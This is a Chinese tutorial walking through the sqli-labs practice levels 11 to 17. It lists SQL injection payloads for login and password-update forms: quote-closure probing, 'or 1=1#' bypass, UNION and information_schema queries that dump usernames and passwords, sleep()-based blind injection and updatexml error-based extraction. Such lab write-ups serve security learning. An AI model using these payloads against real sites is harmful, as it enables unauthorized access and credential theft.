Java教程

sqli-labs通关攻略教程二(less 11~less-17)

本文主要是介绍sqli-labs通关攻略教程二(less 11~less-17),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

sqli-labs通关攻略教程二(less 01-less-10)

less 11

在这里插入图片描述

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 我们尝试输入用户名和密码均为admin,查看响应结果,我们发现用户名和密码在url中均看不见,说明为post请求进行传输。在这里插入图片描述
  3. 我们将浏览器页面使用burp抓包进行分析,更加确定为post请求。在这里插入图片描述
  4. 将抓包得到用户名和密码的信息作为hackbarpost请求的内容,查看页面响应的结果与第二步的响应结果相同。在这里插入图片描述
  5. 修改post请求中用户名admin,在其后面添加一个单引号并查看响应结果。返回结果显示单引号处存在sql语法错误,证明存在sql注入漏洞,说明闭合方式为单引号。
    在这里插入图片描述
  6. 删去uname,再次执行,查看响应结果依然报错
    在这里插入图片描述
  7. 添加or 1=1#,返回结果显示执行成功在这里插入图片描述
  8. 删除admin,查看结果同样响应执行正确在这里插入图片描述
    此处不能使用--+,因为--+主要使用在url中,而在此处#是适用的
  9. 在sql注入的地方使用order by查询字段数,得到字段数为2在这里插入图片描述
  10. 使用联合查询语句union select 1,2 来确定回显的位置在这里插入图片描述
    union select 1,2 database()#来查询数据库为security在这里插入图片描述
  11. 其余的查询语句的步骤与前十关相同
select group_concat(schema_name) from information_schema.schemata;         //查库
select group_concat(table_name) from information_schema.tables where table_schema='security'  //查表
select group_concat(column_name) from information_schema.columns where table_name='users';   //查列
select group_concat(username) from security.users;      //查字段
select group_concat(password) from security.users;
select group_concat(concat ws(0x7e,username,password)) from security.users  //0x7e表示~的十六进制

less 12

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 与第一关的区别在于闭合方式的不同,这一关为闭合方式为"),第十关的闭合方式为'
    3. 常见的闭合方式
'
')
'))
"
")
"))

判断闭合方式可以通过手工注入测试,也可以通过使用burp抓包进行暴力破解。

less 13

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 在这里插入图片描述
  2. 本关闭合方式为'),但我们并未发现其他的回显语句。
    在这里插入图片描述
  3. 使用select查询语句也无法获得相关的回显在这里插入图片描述
    因此需要使用盲注的方法。

在命令行中if left等函数前需要添加select,但在做题中直接添加在or语句后面即可

select if(length(database()>1),1,sleep(5)) //正确情况下返回1,否则延迟五秒返回0  //判断数据库长度

select left(database(),1) //left(a,b)从左侧截取a的前b位,正确返回1,错误则返回0。
或者
or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'  //判断数据库的第一个字母是否大于字符a
或者同时使用burp对字符a到z进行暴力破解

使用select语句查询表、列、字段

在这里插入图片描述

less 14

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 在这里插入图片描述
  2. 输入用户名和密码,查看响应结果,与上一关相同,依然没有回显在这里插入图片描述
  3. 我们由响应结果分析得到本关的闭合方式为",其余步骤与第十三关的思路相同。

less 15

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。
  2. 输入用户名admin和密码admin,查看页面响应结果没有回显。在这里插入图片描述
  3. 分析响应结果本关的闭合方式为',其余思路与十三、十四关的盲注思路相同。

less 16

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在这里插入图片描述
  2. 输入用户名和密码,响应结果依然没有回显在这里插入图片描述
  3. 本关的闭合方式为"),其余思路与十三、十四、十五关的盲注思路相同。
    总结:
十三关:')
十四关:"
十五关:'
十六关:")

补充知识

UPDATEXML(XML_doucument,XPath_string,new_value)

第一个参数:XML_doucumentstring格式,为XML文档对象的名称,如doc
第二个参数:XPath_stringXPath格式的字符串)
第三个参数:new_valuestring格式,替换查找到的符合条件的数据
作用:1. 改变文档中符合条件的节点的值
2. 改变XML_document中符合XPath_string的值
注入语句:

select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1)

其中concat()函数是将其连成一个字符串,因此不会符合XPath_string的格式,从而出现格式错误,爆出

ERROR 1105(HY000):XPATH syntax error:'~Dumb~'

在这里插入图片描述

less 17

  1. 与第一关相同的步骤。首先在phpstudy中打开网站根目录,在第一关的index.php的文件中加入两行代码echo $sql; echo "<br>";第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在密码下面也应当输入这两行代码echo $updata; echo "<br>";,将密码进行回显。在这里插入图片描述
  2. 输入用户名和密码,发现密码被更新。在这里插入图片描述
  3. 使用burp抓包修改POST请求,尝试将uname闭合,查看回显结果,字符被转义,则考虑对passwd进行尝试在这里插入图片描述
  4. 添加单引号和注释符号之后,我们查看回显结果并未转义且登录成功,则在此处进行sql注入在这里插入图片描述
select updatexml(1,concat(0x7e,(构造语句)),1)
//构造语句可用前面的查库、查表、查列、查字段的语句

在这里插入图片描述
使用查库等语句时后面应该添加limit a,b,即为取从第a个开始的b个内容。

这篇关于sqli-labs通关攻略教程二(less 11~less-17)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!